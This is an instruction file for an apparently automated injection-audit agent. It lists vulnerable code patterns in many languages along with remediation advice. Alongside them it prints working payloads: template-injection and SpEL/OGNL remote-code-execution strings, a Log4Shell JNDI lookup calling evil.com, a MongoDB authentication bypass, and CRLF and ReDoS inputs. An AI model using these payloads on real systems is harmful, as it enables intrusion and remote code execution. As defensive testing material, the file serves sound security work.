Perseus Injection

Perseus Injection Specialist

Context & Authorization

IMPORTANT: This skill performs deep injection vulnerability analysis on the user's own codebase. This is defensive security testing to find injection flaws before attackers do.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.

Multi-Language Support

Overview

This specialist skill performs comprehensive injection analysis beyond basic SQLi/XSS, covering advanced injection vectors often missed by standard scans.

When to Use: After /audit identifies potential injection points, or when the application uses NoSQL, LDAP, XML, or template engines.

Goal: Find all injection vectors including less common but equally dangerous ones.

Engagement Mode Compatibility

Safety Gates (Required)

1. Read deliverables/engagement_profile.md before active verification.
2. If no mode is available, default to PRODUCTION_SAFE.
3. Enforce kill-switch and stop on stability signals.
4. Never execute destructive commands or data-damaging payloads.

Injection Types Covered

Execution Instructions

Step 0: Mode & Scope Alignment

• Load mode/scope/rate limits from deliverables/engagement_profile.md.
• Respect deliverables/verification_scope.md when present.
• For PRODUCTION_SAFE, validate via minimal indicators and bounded retries.

Phase 1: NoSQL Injection Analysis (3 Parallel Agents)

1. MongoDB Injection Analyst:

   • "Find all MongoDB query operations. Check for operator injection, $where injection, $regex DoS."

   Language-Specific Patterns:

   javascriptCopy code
   // Node.js/Mongoose - VULNERABLE
   User.findOne({ username: req.body.username, password: req.body.password });
   // Attack: { "password": { "$ne": "" } }
   

   goCopy code
   // Go/mongo-driver - VULNERABLE
   filter := bson.M{"username": username, "password": password}
   collection.FindOne(ctx, filter)
   

   phpCopy code
   // PHP/MongoDB - VULNERABLE
   $collection->findOne(['username' => $_POST['username']]);
   

   pythonCopy code
   # Python/PyMongo - VULNERABLE
   db.users.find_one({"username": request.json["username"]})
   

   rustCopy code
   // Rust/mongodb - VULNERABLE
   let filter = doc! { "username": &username };
   collection.find_one(filter, None).await?;
   

   javaCopy code
   // Java/Spring Data MongoDB - VULNERABLE
   Query query = new Query(Criteria.where("username").is(username));
   

2. Redis Injection Analyst:

   • "Find Redis operations with user input. Check for: EVAL with user data, key injection, Lua script injection."

   Patterns:

   javascriptCopy code
   // Node.js - VULNERABLE
   redis.eval(`return redis.call('get', '${userInput}')`, 0);
   

   goCopy code
   // Go - VULNERABLE
   rdb.Eval(ctx, script, []string{userKey})
   

   pythonCopy code
   # Python - VULNERABLE
   r.eval(f"return redis.call('get', '{key}')", 0)
   

3. Elasticsearch/DynamoDB Analyst:

   • "Find Elasticsearch queries, DynamoDB expressions with user input. Check for query DSL injection, expression injection."

Phase 2: Directory Injection Analysis (2 Parallel Agents)

1. LDAP Injection Analyst:

   • "Find LDAP operations. Check for filter injection, DN injection."

   Language-Specific Patterns:

   javaCopy code
   // Java - VULNERABLE
   String filter = "(uid=" + username + ")";
   ctx.search(base, filter, controls);
   

   pythonCopy code
   # Python/ldap3 - VULNERABLE
   conn.search(base, f'(uid={username})')
   

   goCopy code
   // Go/go-ldap - VULNERABLE
   filter := fmt.Sprintf("(uid=%s)", username)
   l.Search(ldap.NewSearchRequest(base, ldap.ScopeWholeSubtree, filter))
   

   phpCopy code
   // PHP - VULNERABLE
   ldap_search($conn, $base, "(uid=$username)");
   

2. XPath Injection Analyst:

   • "Find XML processing with XPath. Check for user input in XPath expressions."

   Patterns:

   javaCopy code
   // Java - VULNERABLE
   String xpath = "//user[@name='" + username + "']";
   XPath.evaluate(xpath, document);
   

   pythonCopy code
   # Python/lxml - VULNERABLE
   tree.xpath(f"//user[@name='{username}']")
   

Phase 3: Template Injection Analysis (4 Parallel Agents)

1. Python Template Analyst (Jinja2, Mako, Django):

   • "Find template rendering. Check for user input in template strings."

   Patterns:

   pythonCopy code
   # Jinja2 - VULNERABLE
   Template(user_input).render()
   # Test: {{7*7}} -> 49
   # RCE: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   
   # Mako - VULNERABLE
   Template(user_input).render()
   # Test: ${7*7} -> 49
   
   # Django - VULNERABLE (if user controls template)
   Template(user_input).render(Context())
   

2. Java Template Analyst (Freemarker, Velocity, Thymeleaf):

   • "Find template engine usage. Check for SSTI vectors."

   Patterns:

   javaCopy code
   // Freemarker - VULNERABLE
   Template t = new Template("name", new StringReader(userInput), cfg);
   // Test: ${7*7} -> 49
   // RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
   
   // Velocity - VULNERABLE
   Velocity.evaluate(context, writer, "tag", userInput);
   // Test: #set($x=7*7)$x -> 49
   
   // Thymeleaf - VULNERABLE (with preprocessing)
   // Test: __${7*7}__ -> 49
   

3. JavaScript Template Analyst (EJS, Pug, Nunjucks):

   • "Find template rendering with user input."

   Patterns:

   javascriptCopy code
   // EJS - VULNERABLE
   ejs.render(userInput, data);
   // Test: <%= 7*7 %> -> 49
   // RCE: <%= process.mainModule.require('child_process').execSync('id') %>
   
   // Pug - VULNERABLE
   pug.render(userInput);
   
   // Nunjucks - VULNERABLE
   nunjucks.renderString(userInput, data);
   

4. Go/Rust/PHP Template Analyst:

   • "Find template usage in Go, Rust, PHP."

   Patterns:

   goCopy code
   // Go text/template - VULNERABLE (if user controls template)
   t, _ := template.New("t").Parse(userInput)
   // Go html/template auto-escapes HTML but not all contexts
   

   rustCopy code
   // Rust/Tera - Check for user-controlled templates
   Tera::one_off(&user_input, &context, true)?;
   

   phpCopy code
   // PHP/Twig - VULNERABLE
   $twig->createTemplate($userInput)->render();
   // Blade - Check for {!! !!} (unescaped)
   

Phase 4: Command Injection Analysis (3 Parallel Agents)

1. Shell Execution Analyst:

   • "Find all shell execution points across languages."

   Language-Specific Sinks:

   javascriptCopy code
   // Node.js - VULNERABLE
   exec(`ls ${userInput}`);
   execSync(`git clone ${url}`);
   spawn('sh', ['-c', cmd]);
   

   goCopy code
   // Go - VULNERABLE
   exec.Command("sh", "-c", userInput).Run()
   exec.Command("bash", "-c", fmt.Sprintf("echo %s", input))
   

   phpCopy code
   // PHP - VULNERABLE
   system($cmd);
   shell_exec($_GET['cmd']);
   passthru($input);
   proc_open($cmd, $descriptors, $pipes);
   `$cmd`; // backticks
   

   pythonCopy code
   # Python - VULNERABLE
   os.system(cmd)
   subprocess.call(cmd, shell=True)
   subprocess.Popen(cmd, shell=True)
   os.popen(cmd)
   

   rustCopy code
   // Rust - VULNERABLE
   Command::new("sh").arg("-c").arg(&user_input).output()?;
   

   javaCopy code
   // Java - VULNERABLE
   Runtime.getRuntime().exec(cmd);
   new ProcessBuilder("sh", "-c", cmd).start();
   

   rubyCopy code
   # Ruby - VULNERABLE
   system(cmd)
   `#{cmd}`
   %x{#{cmd}}
   exec(cmd)
   

2. Argument Injection Analyst:

   • "Find cases where user controls command arguments (even without shell)."

   Patterns:

   javascriptCopy code
   // Argument injection - VULNERABLE
   execFile('git', ['clone', userUrl]); // --upload-pack injection
   execFile('curl', [userUrl]); // -o injection
   

3. Indirect Command Injection Analyst:

   • "Find indirect command injection via filenames, environment variables."

Phase 5: Expression Language Injection (2 Parallel Agents)

1. Java EL/SpEL/OGNL Analyst:

   • "Find expression language evaluation with user input."

   Patterns:

   javaCopy code
   // SpEL - VULNERABLE
   ExpressionParser parser = new SpelExpressionParser();
   parser.parseExpression(userInput).getValue();
   // RCE: T(java.lang.Runtime).getRuntime().exec('id')
   
   // OGNL (Struts) - VULNERABLE
   OgnlUtil.getValue(userInput, context, root);
   // RCE: (#rt=@java.lang.Runtime@getRuntime(),#rt.exec('id'))
   
   // EL - VULNERABLE
   ${userInput} in JSP/JSF
   

2. Other Expression Languages:

   • "Check for CEL (Google), Expr, other expression evaluators."

Phase 6: Log Injection Analysis (2 Parallel Agents)

1. Log4j/Log4Shell Analyst:

   • "Check for Log4j JNDI injection vulnerability."

   Pattern:

   javaCopy code
   // VULNERABLE to Log4Shell (CVE-2021-44228)
   logger.info("User: " + username);
   // Attack: ${jndi:ldap://evil.com/a}
   

2. Log Forging Analyst:

   • "Check for log injection that can forge log entries, inject newlines."

   Patterns:

   javascriptCopy code
   // VULNERABLE - newlines in logs
   console.log(`User logged in: ${username}`);
   // Attack: username = "admin\n[INFO] Admin action performed"
   

Phase 7: Header Injection Analysis (1 Agent)

1. HTTP Header Injection Analyst:

   • "Find HTTP header setting with user input. Check for CRLF injection."

   Patterns:

   javascriptCopy code
   // Node.js - VULNERABLE
   res.setHeader('X-Custom', userInput);
   // Attack: value\r\nSet-Cookie: evil=true
   

   goCopy code
   // Go - VULNERABLE
   w.Header().Set("Location", userInput)
   

   phpCopy code
   // PHP - VULNERABLE
   header("Location: " . $_GET['url']);
   

Phase 8: ReDoS (Regex Denial of Service) Analysis (2 Parallel Agents)

1. Regex Pattern Analyst:

   • "Find regex patterns with user input that could cause catastrophic backtracking."

   Vulnerable Patterns:

   javascriptCopy code
   // Node.js - VULNERABLE (exponential backtracking)
   const emailRegex = /^([a-zA-Z0-9]+)+@/;  // Nested quantifiers
   const pathRegex = /^(a+)+$/;  // Classic ReDoS
   const htmlRegex = /<([a-z]+)*>/;  // Nested groups with *
   
   userInput.match(emailRegex);  // Can hang with crafted input
   
   // Attack payload: "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
   

   pythonCopy code
   # Python - VULNERABLE
   import re
   pattern = re.compile(r'^(a+)+$')
   pattern.match(user_input)  # Hangs with "aaaa...!"
   

   goCopy code
   // Go - SAFER (RE2 engine doesn't backtrack)
   // But check for regexp/syntax with PCRE features
   regexp.MustCompile(`^(a+)+$`)  // Still check patterns
   

   javaCopy code
   // Java - VULNERABLE
   Pattern.compile("^(a+)+$").matcher(input).matches();
   

   phpCopy code
   // PHP - VULNERABLE
   preg_match('/^(a+)+$/', $input);  // Uses PCRE
   

   Dangerous Patterns:

   Pattern	Why Dangerous
   (a+)+	Nested quantifiers
   `(a	a)+`
   (a+)*	Quantifier on quantified group
   (.*a){x}	Greedy with repetition
   (a+){2,}	Nested quantifiers

2. User Input Regex Analyst:

   • "Find places where user input is used to construct regex patterns."

   Patterns:

   javascriptCopy code
   // VULNERABLE - User controls regex
   const pattern = new RegExp(userInput);
   text.match(pattern);  // ReDoS + potential RCE in some engines
   
   // SAFE - Escape user input
   const escaped = userInput.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
   const pattern = new RegExp(escaped);
   

   pythonCopy code
   # VULNERABLE
   re.search(user_input, text)
   
   # SAFE
   re.search(re.escape(user_input), text)
   

Phase 9: Deserialization Analysis (4 Parallel Agents)

1. Java Deserialization Analyst:

   • "Find unsafe Java deserialization."

   Patterns:

   javaCopy code
   // VULNERABLE - Deserializing untrusted data
   ObjectInputStream ois = new ObjectInputStream(inputStream);
   Object obj = ois.readObject();  // RCE if attacker controls stream
   
   // VULNERABLE - XMLDecoder
   XMLDecoder decoder = new XMLDecoder(inputStream);
   Object obj = decoder.readObject();
   
   // VULNERABLE - XStream without allowlist
   XStream xstream = new XStream();
   Object obj = xstream.fromXML(userInput);
   
   // SAFE - Use allowlist
   xstream.allowTypes(new Class[] { SafeClass.class });
   

   Gadget Chains:

   • Commons Collections (CC1-CC7)
   • Spring (Spring1, Spring2)
   • Hibernate
   • JDK (JDK7u21)

2. PHP Deserialization Analyst:

   • "Find unsafe PHP unserialize."

   Patterns:

   phpCopy code
   // VULNERABLE - unserialize with user input
   $data = unserialize($_POST['data']);  // RCE via __wakeup, __destruct
   
   // VULNERABLE - Even with allowed_classes
   $data = unserialize($input, ['allowed_classes' => ['User']]);
   // User class might have dangerous magic methods
   
   // SAFE - Use JSON
   $data = json_decode($_POST['data'], true);
   

   Magic Methods to Check:

   • __wakeup() - Called during unserialize
   • __destruct() - Called when object destroyed
   • __toString() - Called on string conversion
   • __call() - Called on undefined method

3. Python Deserialization Analyst:

   • "Find unsafe Python pickle/yaml."

   Patterns:

   pythonCopy code
   # VULNERABLE - pickle with untrusted data
   import pickle
   data = pickle.loads(user_input)  # RCE
   
   # VULNERABLE - yaml.load without Loader
   import yaml
   data = yaml.load(user_input)  # RCE (PyYAML < 6.0)
   
   # SAFE - yaml with SafeLoader
   data = yaml.safe_load(user_input)
   
   # VULNERABLE - marshal
   import marshal
   marshal.loads(user_input)  # RCE
   

4. .NET Deserialization Analyst:

   • "Find unsafe .NET deserialization."

   Patterns:

   csharpCopy code
   // VULNERABLE - BinaryFormatter
   BinaryFormatter bf = new BinaryFormatter();
   object obj = bf.Deserialize(stream);  // RCE
   
   // VULNERABLE - NetDataContractSerializer
   var serializer = new NetDataContractSerializer();
   object obj = serializer.ReadObject(stream);
   
   // VULNERABLE - ObjectStateFormatter
   ObjectStateFormatter osf = new ObjectStateFormatter();
   object obj = osf.Deserialize(input);
   
   // VULNERABLE - LosFormatter (ViewState)
   LosFormatter lf = new LosFormatter();
   object obj = lf.Deserialize(input);
   
   // SAFE - Use JSON with known types only
   JsonConvert.DeserializeObject<SafeType>(input);
   

   Gadgets:

   • TypeConfuseDelegate
   • TextFormattingRunProperties
   • PSObject
   • WindowsIdentity

Safe Payload Reference

Output Requirements

Create deliverables/injection_deep_analysis.md:

markdownCopy code
# Advanced Injection Analysis

## Summary
| Type | Instances Found | Vulnerable | Safe |
|------|-----------------|------------|------|
| NoSQL | X | Y | Z |
| LDAP | X | Y | Z |
| Template (SSTI) | X | Y | Z |
| Command | X | Y | Z |
| Expression | X | Y | Z |
| Log Injection | X | Y | Z |
| Header | X | Y | Z |

## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go/Gin, PHP/Laravel]
- Template Engine: [e.g., EJS, Jinja2, Blade]
- Database: [e.g., MongoDB, Redis]

## Critical Findings

### [INJ-001] MongoDB Operator Injection in Login
**Severity:** Critical
**Type:** NoSQL Injection
**Language:** Node.js/Mongoose
**Location:** `auth/login.js:34`

**Vulnerable Code:**
```javascript
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

Attack:

jsonCopy code
POST /login
{"username": "admin", "password": {"$ne": ""}}

Impact: Authentication bypass - attacker can login as any user

Remediation:

javascriptCopy code
// Validate types before query
if (typeof username !== 'string' || typeof password !== 'string') {
  return res.status(400).json({ error: 'Invalid input' });
}
const user = await User.findOne({ username, password: hash(password) });

[INJ-002] SSTI in Email Template

Severity: Critical Type: Server-Side Template Injection Language: Python/Jinja2 Location: utils/email.py:56

Vulnerable Code:

pythonCopy code
template = Template(f"Hello {user_name}, your order is ready")

Attack:

Copy code
user_name = "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"

Impact: Remote Code Execution

Template Engine Security Matrix

Recommendations

1. Validate input types before NoSQL queries
2. Never use user input in template source strings
3. Use parameterized commands, not shell=True
4. Update Log4j to 2.17+ or disable lookups
5. Sanitize CRLF characters in header values

Copy code

**Next Step:** Findings feed into `/exploit` for verification.